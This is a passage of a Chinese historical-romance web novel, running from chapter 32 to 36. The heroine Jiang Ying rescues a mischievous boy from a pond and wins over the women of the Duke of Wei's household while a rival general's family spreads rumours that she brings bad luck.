她想起自己以前有个隔房堂妹,才三四岁的年纪,父母不上心,下人也偷懒,等郎中过来的时候,都已经救治不及时,最后活生生烧成了傻子!
郑氏勃然大怒,目光如利芒,一一扫视过去:“二郎身边伺候的人呢?给我站出来!主子烧成这样,你们一个个都毫无察觉?!”
赵怀知道自己是躲不过去了,不禁肩膀一垮,神情萎靡地嘟囔道:“兴许就是昨晚上写功课的时候吹了点风……阿娘,您别怪他们。”
“好了。”王氏开口道,她虽然尚在病中,但积威已久,一开口,屋内瞬间安静了。
王氏不赞成地看了赵怀一眼,“方才还让我多注意身体,怎么到自己身上就不上心了呢?”
赵怀耷拉着脑袋,低声道:“大伯母,阿娘,我知道错了。”
“送二郎回去。”王氏吩咐了一句,又对邢医官抱歉道:“麻烦邢医官给二郎看看,该吃药吃药,该针灸针灸,这孩子身体不舒服是大事,可千万不能马虎了。”
“下官自当尽心。”刑如风道。
王氏又看向郑氏,语气有些严厉:“至于剩下的事儿,等二郎病好以后再处置。”
郑氏不敢忤逆大嫂,“是。”
她不放心赵怀,匆匆忙忙就要跟上去,路过姜璎身边,忍不住复杂地看了她一眼。
郑氏心里怪别扭的,但又抹不开脸说感谢的话,最后还是对儿子的担心占据上风,先离开了。
赵恪忙道:“阿娘!等等我!”
太好了,终于可以不用去读书了!
他屁颠屁颠地跟上去,又挨了郑氏一下,郑氏气不打一处来,“还笑!你还笑!你们两个是不是想气死我?!”
赵恪叫屈的声音逐渐远去:“冤枉啊阿娘……”
姜璎低头笑了一下,觉得这小孩儿怪有意思的。
又恰好生了一双和赵咎相似的杏眸。
眉眼弯弯时,就像是一个小小的翻版赵咎,活泼又可爱。
于是乎,傍晚赵咎回来,照例询问姜璎今日都做了什么的时候,她没忍住好奇了一句。
“赵九郎君,你觉得二郎君更像你小时候一些,还是三郎君更像?”
赵咎顿了一下,微微挑眉,反问道:“你今日见过他们了?问的是长相还是性格?为什么突然这么问?”
一连三问。
不知道的还以为是在咄咄逼人。
但姜璎看他的表情,好像也不是不高兴的样子……
姜璎把今日发生的事情简单说了一下,提到赵怀和赵恪兄弟俩时,她眼眸轻轻弯起,“两位小郎君都很可爱。”
赵咎嗤了一声,半倚着木柱的身躯微微放松。
可爱?
大的木讷呆板,小的好逸恶劳,怎么看都和她的夸赞毫不沾边。
还是说,她是想借着那两个小屁孩的由头,故意打听他小时候?
赵咎的目光落在姜璎脸上,似不经意掠过,只在嫣红唇瓣上停留片刻。
心口的灼热蔓延到了四肢各处,他不动声色地呼出一口气,眉眼流露一丝骄矜,就当是满足她的好奇心,“他们俩没一个像我小时候。”
“赵怀死读书,赵恪爱偷懒,你觉得我小时候会是这种人吗?”嫌弃溢于言表,他扬了扬眉,揪着那个问题不放,“为什么突然这么问?”
姜璎眨了眨眼。
赵咎无比宽容道:“你要是好奇我小时候,倒也不必拐弯抹角,想知道什么我告诉你就是了。”
毕竟夫妻之间最重要的就是坦诚。
在这一点上,赵咎自觉做的很……
“没有呀。”姜璎道,简单的话语宛如一泼冷水,浇在赵咎头顶。
她解释道:“我就是觉得两位小郎君性格迥异,各有各的可爱,没别的意思。”
恰好赵恪那双眼睛,总让她忍不住想到赵咎。
仅此而已。
赵咎哼了一声。
行吧,看她能嘴硬到什么时候。
“赵怀感染风寒,你要是看见他就离他远点儿。”
姜璎身体也就这样,好不容易才养出一点儿肉,赵咎可不想她被赵怀给传染了。
然而,赵咎只记得叮嘱远离赵怀,却忘了另一个烦人精。
第32章 跳水
“酸枣仁一钱,柏子仁一钱,合欢花半钱……”
姜璎把一味味中药称好塞进织锦香囊。
这是她从药书上看来的安神方子,又不放心问了邢医官,确定卫国公府的人都能用以后,闲着没事便做了起来。
香薷和香附低着头收拾剩下的中药,刚好可以装一个香囊。
“姑娘你看!”香附美滋滋道,“这个可以挂在咱们房里。”
姜璎笑着点头,让香薷给二房送了几个,又给蓼莪院送了两个,剩下的亲自拿给王氏。
结果没想到在王氏那边又看见赵恪。
“姜姑娘好。”他朝姜璎见礼,眉眼弯弯如新月,活泼又讨喜。
姜璎下意识露出一个笑容,微微低头道:“三郎君好。”
“三郎君今日没去读书吗?”
“大伯母和阿兄都生病,我在家多陪陪他们。”赵恪满脸天真,心中却暗恼,这人也太没眼力见了!问什么不好,就知道问读书!
他看着姜璎进屋,眼珠子一转,露出两颗尖尖的小虎牙。
伺候的仆婢暗道糟糕,这小祖宗怕不是又想作妖了!
姜璎送了香囊,又陪着王氏说了会儿子话,这才离开。
她出来时,赵恪还在廊下。
姜璎有些意外。
“三郎君,是有什么事儿吗?“
赵恪露出腼腆的笑容,乖巧地眨巴眨巴眼睛,“我是想谢谢姜姑娘,昨日要不是姜姑娘提醒,我和阿娘都还发现不了阿兄生病呢。”
姜璎实话实说:“我也没能帮上忙,还是多亏了邢医官眼力惊人。”
赵恪不耐烦听这些,大人都是这么客套虚伪!但脸上的笑容却愈发灿烂可爱,“姜姑娘,我想去玩水儿,你要不要跟我一起?”
“玩、玩水?”
“对啊。”
赵恪仿佛没看见姜璎脸上的吃惊,兴奋地描述着,“我们府里有一个很大很大的池子,是用鹅卵石铺的底,每到春夏之季,便会重新清洗,干净的不得了!”
“你还没见识过吧?”
姜璎摇了摇头,委婉劝说道:“这几日虽然转暖了一些,可水池危险,三郎君还是不要过去了吧。”
赵恪哼了一声,发小孩子脾气。
“你不去就算了,我自己去!”
他转身就走,尽管气势汹汹,但木屐踩在青石板上,依旧悄然无声。
姜璎暗自皱眉,这孩子是不是太任性了一点?叹了口气,她跟上去。
伺候赵恪的仆婢也在低声劝道:“三郎君,咱们还是回去吧,不然让女君知道……”
“你们不说,阿娘怎么会知道?”赵恪老神在在,看见姜璎跟在身后,脸上露出一抹得逞的笑容。
仆婢们无可奈何,又偷偷看了姜璎一眼,眼神充满同情。
没办法,谁让三郎君平日里最喜欢九郎?
在他眼里,小叔就是配公主都绰绰有余!
赵恪的乳母稍稍慢了一步,给姜璎赔笑道:“姜姑娘,三郎君顽皮,还请您多多担待。”
姜璎没听出其中暗藏的玄机,还想着要怎么劝赵恪。
他阿兄才退了热,他这时候去玩水儿,不是给自己找苦头吗?要是不小心着了凉,感染风寒……
姜璎猛一惊醒,这孩子不会就打着这种主意吧?
为了不去读书,也太拼了。
长廊转小径,随着道路两旁的绿意减退,视野倏忽开阔。
清澈明亮的水池,在日照之下波光粼粼。
就如同赵恪所说的那样,池底的每一块鹅卵石都被清洗的干干净净,煞是美丽。
姜璎以为这一定是个大工程,没想到转眼便看见水池尽头搭着“竹桥”,活水自外头引来,借由竹子流入水池。不用时便拿竹塞盖好,半点儿不影响。
好妙的巧思!姜璎满眼惊叹。
赵恪得意洋洋,“这可是小叔特意让人给我们做的水池,等到了夏天,还能跳进去玩水儿。”
姜璎不由肃然起敬,真心实意感叹:“赵九郎君好厉害。”
那当然!
赵恪心中腹诽:嫁给小叔,你可真是捡到大便宜了!
不过……
既然这样,他吓吓她也不过分吧?
赵恪在水池边半蹲下身子,探出手拨了拨清水,挺好,等会儿下去肯定不会很冷。
说干就干。
正当赵恪准备假装一个脚滑,然后摔进水里之时,姜璎眼疾手快,一把拽住他的手臂!
“三郎君!”
姜璎把人扯了回来,忍不住道:“太危险了!小孩子不能去水边儿玩的!”
赵恪不服气道:“以前小叔都带我们玩儿!”
姜璎严肃道:“那是因为赵九郎君在,他会保护你。他不在的时候,你不能一个人过来。”
赵恪手指胡乱点了几下,“这不是有这么多人吗?哎呀,你好啰嗦!”
他甩开姜璎的手,走到另一边,这次动作很快,立马扑到了水里!根本不给别人机会!
赵恪眼见姜璎脸上出现惊慌失措,不由得意一笑,猛地扎进水里。
咕嘟嘟……
水面吐出一串水泡。
“三郎君!”姜璎吓了一跳,下意识要跳进去救人。
赵恪的乳母拉住她,小声道:“姜姑娘,你放心吧,三郎君就是故意吓唬你呢,你别理他,一会儿就上来了。”
池子刚造好那会儿,赵恪没少这样吓唬人。
不是假装被水呛到了,就是假装体力不支,然后看着大家花容失色,才探出脑袋哈哈大笑。
简直不要太可恶!
最后还是被赵咎抽了一顿,才彻底老实。
姜璎迟疑停下脚步,然而,下一刻,她瞳孔骤缩,“不对!”
不是装的!
池水没过了赵恪的脑袋,两条胳膊却慌乱地拍打水面,“呜……救……”
救命啊!!!
腿抽筋了!
赵恪几乎欲哭无泪。
他还没玩够呢,怎么就突然腿抽筋了……
这一挣扎,又呛了好几口水。
岸上的人渐渐发现不对劲。
以往赵恪演戏,可没有这样真情实感、生动形象。
“快来人!”赵恪的乳母吓得面色惨白。
扑通一声——
香薷和香附大惊失色:“姑娘!”
还不等会水的下人跳进池子,姜璎就身体先于脑子一步做出反应。
姜璎以前也不会水,但自从去年被姜宝瑜拽进水里,险些被溺死后,她就无师自通了。
第33章 作死
“咳咳咳咳咳咳咳咳!”
赵恪被拖上岸后一阵猛咳,眼泪狂冒,“阿媪,咳……腿、腿疼!”
姜璎一声不吭,低头拧着袖子上的水。
“姑娘!”香薷和香附围了上来,还好香薷习惯性带着披风。
“给他吧。”姜璎无语地看了赵恪一眼。
好端端的,非要吓唬人。
结果把自己整腿抽筋了,差点淹死里头。
香薷听话照做,赵恪的乳母忙不迭感谢,用披风把赵恪裹得严严实实。
香附小声道:“姑娘,咱们快回去吧,免得着凉。”
“嗯。”
姜璎转身离开,忽然不远处传来了郑氏的声音。
“三郎君人呢?不是说往这边来了?”
“奴婢刚刚还看见,三郎和姜姑娘一起过来。女君,会不会在水池那了?”
姜璎心头一跳,她能感觉出来郑氏对她有些意见,郑氏要是看到,会不会觉得,赵恪落水是她害的?
姜璎也不愿意把人往坏处想,只是这样的事情太多了,但凡姜宝瑜受了点伤,只要她在场,刘氏等人便会不分青红皂白先将她痛斥一顿。
就算后面发现与她无关,也要责备她为什么没有好好照看姜宝瑜。
浸湿的衣裳黏着每一寸皮肤,凉意如藤蔓缠绕,丝丝缕缕顺着脚脖子往上爬。
姜璎看到郑氏的那一刻,心道:来了。
她做好了解释的准备,眼见郑氏越走越近,就要鼓起勇气,“二夫人……”
郑氏挤出一个笑容,“真是对不住了。”
僵硬着道了歉,她立马气势汹汹冲到赵恪面前。
“阿、阿娘。”赵恪缩了缩脖子,企图露出讨好笑容来让母亲心软。
“你还知道我是你阿娘?”郑氏面色狰狞一瞬,一把揪住他的耳朵,咬牙切齿道,“一天天的书也不看,功课也不做,就知道闯祸!你想气死我好换个后娘是不是?”
赵恪吃疼道:“没没没有啊!阿娘你轻点!”
郑氏一巴掌拍在他肩膀,“轻点?轻点你能长记性?我看非要让阿劫把你两条腿给打折了你才老实!”
赵恪的乳母生怕受罚,忙道:“女君,三郎君非要吓唬姜姑娘,结果自己在水里腿抽筋,奴婢们伺候不当,差点害了三郎君,幸而、幸而姜姑娘果敢,跳下去把人拖上来。”
郑氏没好气儿看她一眼,还用你说?我难道没有眼睛的吗?
以这小兔崽子的尿性,只要是卫国公府的人,一眼就能看出来他偷鸡不成反蚀把米!最后要不是姜璎心细如发,他就在里头等死吧!
谁让赵恪事先警告下人,不许去救他?
他腿抽筋,吓得惊慌失措,连呼救命,只怕乳母等人都还以为是故意做戏给姜璎看。
赵恪想把姜璎吓得花容失色、泪水涟涟。
结果一把鼻涕一把泪的人反倒成了自己。
“嗷!”赵恪发出一声哀嚎,“阿娘别打了,别打了,我知道错了……”
郑氏打得手疼,气咻咻地看着赵恪。
这个臭小子,她现在要是不揍他一顿,等赵咎回来知道这件事,没个十天半个月,他屁股都别想好全!
只可惜赵恪完全没明白母亲的良苦用心,嚎得惊天地泣鬼神,嚎得姜璎起了一身鸡皮疙瘩。
她默默后退两步,鼓起勇气道:“那个……”
唰一下。
郑氏等人的目光望过来。
赵恪哭声小了一些,抽抽嗒嗒、可怜巴巴地看着姜璎,以为她会给自己求情。
姜璎尴尬一笑,“二夫人,如果没什么事儿的话,我就先走了。”
姜璎浑身都湿透了,唯一的披风也给了赵恪。
再待下去,怕是真的要着凉。
郑氏内心过意不去,尤其是想到前几日对姜璎的冷待,浑身上下就跟有一万只蚂蚁在爬,难受得不行!
“那什么,好孩子,你快回去吧。”郑氏挤出来一个笑,干巴巴道,头一回这样无所适从。
看着姜璎的背影,再看小儿子一脸痛苦的表情,郑氏怒从心起,下手更狠了。
“嗷——!”惨叫声不绝于耳。
姜璎浑身一抖,走得更快了。
郑氏刚才的笑容实在让人瘆得慌。
这不会是打给她看的吧?
“啊嘁、啊嘁。”
姜璎沐浴更衣后,拢着被衾坐在床榻上,本以为没什么事儿,结果姜汤端到跟前,就忍不住一连打了好几个喷嚏。
香附如临大敌,“姑娘不会着凉了吧?要不奴婢去问问邢医官,给您弄点药?”
姜璎摇了摇头,闷头喝完了姜汤。
辛辣刺激的味道简直让人灵魂出窍,她控制不住一激灵,缓缓倒下。
香薷和香附紧张地看着她。
姜璎闭上眼,默默咽下辣味,一脸安详:“下次多放几颗红枣吧。姜枣茶也很驱寒。”
“……好。”香薷和香附对视一眼,差点没笑出声。
左右无事,姜璎在被窝里缩成一团,渐渐陷入沉睡。
一直到傍晚时分。
外头细碎的动静传进来,姜璎迷迷糊糊从被窝探出脑袋。
屋内漆黑一片,伸手不见五指。
窗牖似乎漏了风,伴随一同而来的是,还有泛着冷意的嗓音。
因为刻意压低而断断续续,让人听的不大真切。
“原来你们就是这么照顾姑娘的,今日……我说过多少次……全当耳旁风了是吗?既然这样……”
是赵咎。
姜璎一个惊醒,匆匆忙忙掀开被衾,胡乱裹上一件披风走出去。
咯吱——
门打开了。
与此同时,外头的声音也跟着停下。
一身藏青暗纹长袍的赵咎站在门外,廊下乌泱泱跪了一片人。
以香薷香附为首,所有伺候姜璎的下人都在这。
“赵九郎君……”赵咎的脸色要比身上的衣服还要黑,眼神也有些吓人,姜璎讷讷喊了一声,一时不知道该说什么。
她向来是惧怕这样动怒发火的场景,尤其是往往下一刻,怒火就要烧到她身上。
姜璎险些就要跟着廊下的人一起跪地认错。
这是她在永安侯府做习惯了的表现。
但在这里……出于某种堪比动物的敏锐直觉,姜璎觉得自己要是真的跪下去,赵咎只会更生气。
她忍着心头的惧意,小声解释道:“是我擅自作主,下去救的三郎君,您不要责怪他们……要罚就罚我吧。”
第34章 出事
顷刻寂静。
就连夜风都仿佛察觉到了什么恐怖的气息,夹着尾巴溜得远远的。
赵咎挑了挑嘴角,扯出一个没什么温度的笑。
“为什么不听我的话?”
他看上去心平气和,但每个字都浸了冰水,冻得人浑身一颤。
“为什么总是时时刻刻,替别人着想?”
像是要把积攒了两辈子的怨气发泄得一干二净,他脸上是极其陌生的冰冷神情。
“为什么要把别人的安危放在自己之前?”
姜璎打了个颤栗,“我……”
赵咎淡淡道:“姜璎,你一点都学不乖。”
姜璎张了张嘴,不知道该说什么,是她的错,她不该、不该做出让赵咎不喜的事情。
“对不起,对不起……”她低下头,语速略微急促,但仍旧难掩心头慌乱,“是我做错了事情,赵九郎君,你别生气。”
赵咎闭了闭眼,“进去躺着。”
长了张漂亮的嘴,说得全都是他不想听的话。
气死他算了!
姜璎噤声,怯怯地看了一眼赵咎,他问:“还要我重复第二遍吗?”
姜璎连忙摇头,回到被窝,躺的板板整整、纹丝不动。
赵咎捏着一碗药汁儿进来,也不说话,就这么沉默地给她喂了大半碗。
“还没喝完呢……”姜璎小声道。
赵咎面无表情看她一眼,都被苦得直皱眉了,还要喝?她天生就喜欢吃苦吗?
赵咎塞了一块梅子糖堵她的嘴,冷声道:“安静点,消停会。不然外头那些人,我一个都不放过。”
姜璎立马眼睛嘴巴闭得紧紧的。
梅子糖在舌尖化开,霸道的酸甜感迅速占据整个口腔,将苦涩药味取而代之。
姜璎老实本分地躺了两天,喝了不知道几碗姜枣茶,但说来奇怪,那日的梅子糖依旧深深扎根脑海。
郑氏来过一次,被香薷客客气气请了出去。
赵咎不许任何人过来打扰姜璎养病。
“我没有生病。”姜璎坚持自己的看法。
“九郎知道您打了两个喷嚏,就怕您感染风寒。”香附讪讪一笑,“您就当养病了吧。”
姜璎一下子蔫巴了,只能默默给赵咎找借口。
虽然是指鹿为马,但好歹也是一片关心。
姜璎不敢再给人添麻烦,继续安详躺尸。
直到她听闻将军府的事儿。
“夫人、夫人。”
姜璎一路小跑着来到王氏房里,郑氏也在,两人似乎在商量着什么。
看见姜璎,郑氏立马止住话头,把人拉了过去,“你风寒好些了吗?要不要紧?我那里还有些燕窝,一会儿你带回去吧?”
神情关切,声音温柔,和之前对待姜璎的态度可谓是大相径庭。
姜璎一时受宠若惊,忙摆手道:“好了,都好了,不要紧的,不用不用。”
转头看向王氏,她焦急道:“夫人,我听说——赵九郎君出事了。”
“你听谁说的?”王氏惊讶道,脸上看不出一点异样,“阿劫好端端的,怎么会出事?”
姜璎没有把不小心说漏嘴的香薷供出来,深吸一口气,严肃道:“是我自己看出来的。”
赵咎这几日早出晚归,虽然面上淡淡,但姜璎依旧能从他身上感觉到一丝不对劲,仿佛风雨欲来前的平静,暗藏着焦灼危机。
“我听说那日,赵九郎君把将军府的下人交给禁军严惩,想来将军府一定不会善罢甘休。”姜璎望着王氏,“夫人,您就告诉我吧,他们是不是去陛下跟前告状了?”
她分析的有理有据,事实也确实如此。
甚至远比她所说的还要严峻的多。
王氏温声道:“即便将军府告状又如何?不过区区小事,阿劫会处理好的。阿池,你放宽心,不必在意。”
郑氏却道:“大嫂,这也没什么大不了的,既然阿池早晚都会知道,又何不现在告诉她?免得她胡思乱想,担惊受怕。”
姜璎见郑氏帮自己说话,愣了一下,紧接着连忙点头。
“夫人,您就告诉我吧。”
王氏被她们磨得没办法,想到近日发生的事情,神情微微一沉。
“既如此,我也不瞒你了。”
赵咎当街抢亲,虽说揭穿了永安侯府的算计,但也是踩了将军府的脸面,常将军心里本就存了疙瘩,只是碍于卫国公府不好发作。
结果那日常无忌带着一帮下人闯进卫国公府,不仅被赵咎狠狠打了脸,自己也差点窒息而亡。
送回将军府时,更是气血攻心,直直喷出一口血来,几乎没了半条命。
常家夫妇本就溺爱幼子,常无忌又是继安奉之战后,他们仅剩的嫡子,说是眼珠子、心尖肉也不为过。
眼看着心爱的幼子出气多进气少,常家夫妇生吃了赵咎的心都有了!
就如同郑氏所料,常父隔日便联合了众多武将,在大殿之上怒斥赵咎手段残忍、目无法纪。常母则穿了命妇服,在太后娘娘宫中痛哭流涕,诉说自己这些年来的不易。
两个年过半百的人,发丝大半雪白,一个唱白脸一个唱红脸,又有朝臣命妇相帮,一时间,陛下还真不知道该怎么处置赵咎。
“一派胡言!”
姜璎气得小脸通红,头顶冒烟,“赵九郎君哪里手段残忍?又哪里目无法纪?他都不曾对将军府的人动用私刑,而是选择直接交给禁军!”
“至于常六郎,更是派了贴身侍从亲自送回将军府。这还不够吗?怎么没人说常六郎擅闯国公府的罪名?!”
郑氏离她最近,被她这一嗓子吓得差点心跳骤停。
这姑娘……也太实心眼了。
王氏轻咳一声,自然瞧见了王氏心虚的表情,她也不好说赵咎是如何掐的常无忌,差点人都没了,只含糊道:“他们攻讦阿劫,自然是往难听了说,你不必放心上。”
郑氏向大嫂施以敬畏目光。
睁着眼睛说瞎话都要维护阿劫,不愧是长嫂如母啊。
然而,最棘手的并非是将军府对赵咎的攻讦,而是……姜璎。
想到将军府提出来的要求,王氏不由面色微沉。
这几日,京中又传出许多流言,矛头直接对准姜璎,说她本就身世坎坷,无父无母,乃天煞孤星命格。
早前太后娘娘为了如幼弟所愿,特意下了永安侯府面子,说姜璎和刘氏等人八字不合,顺理成章将她留在卫国公府。
而今,这番言论被再次提起,却有了不一样的说法。
人人都道:这姑娘哪里是和养父母八字不合?分明就是天生的灾星,走哪儿克哪儿!
先前在永安侯府,便时不时传出她嫉妒嫡出大姑娘的恶名,如今赵咎和卫国公府又因为她惹了一身骚,怎么看怎么邪门,这不是灾星又是什么?
常父痛斥赵咎被美色所迷,神智不清!常母则跪在太后娘娘跟前,哀声软语,她知道太后娘娘素来疼爱幼弟,也不说赵咎坏话,而是将一切错处归结姜璎身上。
“想来赵九郎也是因为被人迷惑,这才冲动犯错。臣妇不怪赵九郎,只求太后娘娘处置姜氏女,还我儿一个公道。”常母如是说。
好一个以退为进,祸水冬引。
第35章 福星
可处置了姜璎,将军府真能就此消气?两家化干戈为玉帛?
绝无可能!
赵咎对常无忌痛下毒手,将军府岂能善罢甘休?
必要让他生不如死才好!
将军府看得明明白白,就算只是被美色所惑,姜璎在赵咎心里的分量也是非同一般。
除去姜璎,赵咎必然痛心!
说不定,到时候还会怨恨下此命令的太后娘娘。
这是阳谋。
所有人都能看出来。
太后娘娘自然也不例外。
可知道是一回事,心里想的又是另外一回事。
当街抢亲的后续闹成这样,不仅常母进宫哭诉,就连永安侯夫人刘氏也带着家里的大姑娘进宫求见,一个个的抹眼泪,哭得人头都大了!
太后娘娘心里不痛快,看姜璎自然也顺眼不起来。
要不是身边女官拦着,只怕早就下懿旨处置了她这个罪魁祸首!
想到这,王氏心中不免沉甸甸,对姜璎柔声提醒道:“阿池,虽说太后娘娘一向疼爱阿劫,可也架不住旁人一再哭诉,到时候......要是太后娘娘派女官过来教导你礼仪,你就忍耐一二。”
听宫中传出来的消息,太后娘娘如今是一千个一万个后悔。
若当初没有依着赵咎直接赐婚,现在处置起来也就不至于这样束手束脚。
姜璎低下了头,心里说不出的内疚,“都是我不好......”
“你看看你,又把错处往自己身上揽!”郑氏实在看不过去,恨铁不成钢道,“别人害你,难道你还要认为是自己不该活在这世上?要我说,阿劫就算把常六打死也是他自己活该!”
大不了就说混乱之中没发现,误以为是贼人闯进门。
谁让常无忌带着一帮下人肆无忌惮闯到卫国公府?这不是贼人是什么?!
郑氏气咻咻,完全忘了自己先前是怎么恼赵咎做事太过的。
姜璎先后救了她两个儿子,不管是有心还是无意,郑氏都承了她的情,嘴上说不出什么感谢的话,但这份恩情她会一直记在心里。
就像赵咎所说,郑氏向来爱憎分明。
先前对姜璎冷待,是因为一时偏见,如今误会解除,当她不再因为外头莫须有的流言迁怒姜璎,便会轻而易举被她这个人打动。
这个世上从来不缺聪明人,更不缺蠢货,但一片赤诚又实在本分的人却是少之又少。
郑氏从来都不信什么灾星祸害一说,她从前迁怒姜璎,也只是觉得她给家里带来麻烦。
如今再听外头闲话,更是嗤之以鼻。
什么灾星?他们阿池明明是福星才对!
自从姜璎来了卫国公府,先是发现王氏身体不对劲下的蹊跷,又察觉赵怀感染风寒,后面更是救了赵恪一条狗命!
可以说,没有姜璎,王氏什么时候小产了他们都不知道,还傻乎乎觉得是来了月事。
对赵怀和赵恪两兄弟来说也是长了教训,日后再不敢拿身体开玩笑。
郑氏现在看姜璎是一千个一万个满意。
她以后的儿媳就要找姜璎这样的品性!
“阿池,阿郑说的对,你不能把什么事儿都往自己身上揽。”王氏柔声道。
郑氏冷笑道:“这常家也是个笑话,放任自家儿子胡作非为。常六出门的时候不知道阻拦,常六闯祸的时候不知道惩戒,现在踢到铁板,感到吃亏,倒是一个个活过来,开始叫唤了。”
“早干什么去了?!”
王氏深以为然。
她也不觉得赵咎做错了事,别人都打上门来了,难道还不许他们反击?
这天底下哪有这种道理!
“合着就是,他儿子欺负别人可以,但别人欺负他儿子,不行!”郑氏轻蔑道,打心眼里瞧不起将军府的作派。
“阿池,你只管放心,我明日就让我爹上书,弹劾常家教子不严。凭他们也有脸说阿劫?阿劫帮着陛下做事的时候,常六还在招摇过市、吃喝嫖赌呢!”
姜璎第一次被这么多人维护,一时愣在原地,久久不能回神。
这种感觉,前所未有……
看着王氏等人脸上毫无责怪,姜璎莫名有种想要流泪的冲动。
“二夫人……”
“叫二嫂!”郑氏霸气打断,拉着姜璎坐在自己身边。
姜璎拘谨不已,讷讷道:“这会不会不太好,要是卫国公府和将军府结仇。”
“结仇?”郑氏扑哧一笑,“你这孩子,说的都是什么傻话。”
王氏温声道:“阿池,我们头疼的不是和别人结仇,而是……”
说到这,她顿了一下,似乎有些不知道该怎么跟姜璎解释。
郑氏倒没什么顾忌,直接道:“阿池,你估计不太清楚常家的情况。”
“常家原本有四个嫡子,但十年前的安奉之战填进去不少人命,常家死了三个嫡子,一个庶子。也就是陛下仁慈,念常将军将功补过,便没有再追究常二郎延误粮草的过失。”
但经此一战,将军府损失惨重,夫妻俩仅剩常六郎一个嫡子,甚至就连常将军自己也受了很重的伤。
“二夫……二嫂!”姜璎被强制改口,“二嫂的意思,若是处理不好此事,恐让朝中武将寒心?”
毕竟是常家唯一的嫡子。
郑氏给了她一个赞赏的目光,果然是孺子可教也。
王氏叹了口气,原本大家就因为常家死伤无数而对常无忌处处包容,更不要说他现在落下腿疾,已然成了个残废。”
大家对于残废的人,总是会多一些宽容忍让。
这一点,常无忌厌恨但又利用得彻底,赵咎同样心知肚明。
要不然,他们俩也不会一个有恃无恐地上门抓人,一个则下手毫不留情。
因为赵咎知道,他要是选择放了常无忌,去陛下那边走告状流程,就算陛下和太后娘娘再生气,也不可能拿常无忌怎么样。
顶多就是无关痛痒的训斥,再严重一些,也不过是以“教子不严”的罪名罚常父俸禄。
所以赵咎压根没留情面。
他迟早要和将军府对上,不过早晚的事儿。
王氏其实更担心的是,宫里以及家翁对姜璎的看法。
第36章 不配
天色逐渐暗沉,随着一盏盏明灯点起,仅剩的一线残阳也隐没西山。
王氏尚在养胎中,不好太过劳心伤神,她被下毒险些小产的事情还没水落石出,现下又要操心将军府的问责,姜璎实在过意不去,眼看就要到晚膳的时辰,她主动告退。
“阿池!”郑氏跟在后头,喊了一声。
姜璎微微惊讶,恭敬询问道:“二夫人,是有什么吩咐吗?”
“都说了喊二嫂,怎么一转头又开始见外了?”郑氏嗔怪道,顿了一下,眼中划过一抹不自在。
“你是不是还在怪我?我知道,我先前太过狭隘,做的不对……”
“没有没有!”姜璎连连摇头否认,她一点儿也没觉得郑氏有哪里不对,甚至打从心里赞同郑氏。
要是赵咎没有救她的话,卫国公府或许就不会有那么多事儿了。
得益于永安侯府的调教,在面临责怪之际,姜璎已经从最初的委屈茫然,变成现在的习以为常。
揽责认错几乎成了她刻在骨子里的记忆。
所以,一点点的好,她都会倍感荣幸,万分珍惜。
郑氏不知道她内心所想,反而越发过意不去,握着她的手郑重其事道谢。
“那日多亏了你,不然我真不敢想二郎三郎他们的后果会是怎样。”
郑氏就这么两个儿子,大的勤学懂事,小的活泼贴心,跟眼珠子似的,要但凡出点什么事,她也不用活了。
所以尽管没有亲眼目睹姜璎不假思索跳入水中,但她也能想象出那时的情景。
“我真没想到,你会跳下去救他……”郑氏感慨道。
姜璎愣了一下,好半天才道:“因为,世子夫人说,我们是一家人啊。”
既然是一家人的话,做什么都是应该的呀。
难道不是吗?
她眼中的困惑如此清晰,似乎完全不能理解郑氏为何口出此言。
郑氏看着面前的人,莫名有种苦笑的冲动。
现在想想,之前的冷言冷语,恶意揣度,未免也太可笑了一些。
就因为是“一家人”,所以心甘情愿救人。
事后既不邀功,也不诉苦,只干巴巴憋出一句“我先走了”。
笨拙老实的根本不像是在永安侯府长大的姑娘。
又或者,正因不是亲生,所以她习惯付出。
这是一个人赖以生存的本能。
郑氏忽然明白为什么王氏会在她从娘家回来那日,说出那样一句话。
王氏说:“她只是一个想要家的可怜孩子,你别那么对她。”
当时郑氏一只耳朵进,一只耳朵出,不曾放在心上。
如今……只觉说不出的后悔愧对。
“阿池,你前些日子做的香囊,还有吗?”郑氏真想回到过去,阻止那个将香囊赏给贴身仆婢的自己,她吞吞吐吐道,“我用着还不错,你若是还有的话,再给我两个吧。”
二房的下人都看呆了!
郑氏一向要强好面子,能说出这番话,属实不易。
姜璎没想到郑氏用着不错,她一扫先前的低落,积极十足道:“我明日一早去买中药,二夫人想要几个都行!”
郑氏不厌其烦地纠正:“叫二嫂!”
姜璎结结巴巴地喊了一声“二嫂”,脸颊宛如火烧云。
“谢谢二嫂。”她小声道,凤眸亮晶晶,藏着小心翼翼的欢喜和雀跃。
郑氏不知道这谢从哪儿来,看着姜璎脸上傻乎乎的笑容,心里莫名生出一丝诡异的庆幸。
——这老实孩子得亏是被阿劫带回来了,换了旁人,不得被吃干抹净连骨头都嚼碎?!
姜璎丝毫不知道郑氏心中所想,有了郑氏这一句话,她就跟打了鸡血似的,干劲满满,挑灯夜战又做了十来个香囊。
料子都是齐全的,也不用绣花,只要针脚紧密大查不查的就能拿得出手。
香薷去准备明日出门的牛车等一应事宜,香附则陪着姜璎一起裁布料。
有事做总比自己一个人闷闷不乐得好!
翌日一早,姜璎伺候王氏喝完药,便带着那张养心安神的药方出门了。
药堂是刑如风认识的,不会出现药材作假、好坏掺半的风险,药堂管事又曾在宫中做过十多年的医官,医术颇精,要不是不慎摔跤,以致腿脚不便,也不会辞官出宫。
姜璎买好需要的中药,又问了一些有关孕妇禁忌的问题。王氏如今怀孕,随时都有小产风险,多谨慎一些总没错。
管事见她听得认真,难免打开话匣子多说了几句。
直到身后传来一个声音。
“阿池?”
空气瞬间冷凝。
姜璎牵起嘴角,对药堂管事道谢:“今日多有麻烦,改日一定拜谢。”
药堂管事看了眼走进来的刘氏母女,再看置若罔闻的姜璎,心中顿时明了,微微笑道:“姑娘不必客气。”
眼看姜璎就要离开,刘氏顿时绷不住了,低声斥道:
“阿池!你这是什么态度?”
姜璎没想到上次之后,他们还敢派人盯着卫国公府,想到常无忌带着人闯进府里的情形,她便控制不住心中愤怒,冷冷道:“刘夫人莫不是又想说我跟踪你们?”
刘氏一噎,气不打一出来,“你怎么跟我说话呢?攀上高枝儿就忘了人伦纲常、孝道礼仪不成?!”
刻在骨子里的东西,姜璎自然不会忘。
可孝顺二字,刘氏不配!
“刘夫人倒是记得人伦纲常,既然如此,怎么就偏忘了礼义廉耻?”姜璎丝毫不惯着,“先前在万业寺张口就是我跟踪你们,如今呢?也是我跟踪的你们?”
“妹妹……”姜宝瑜柔声道。
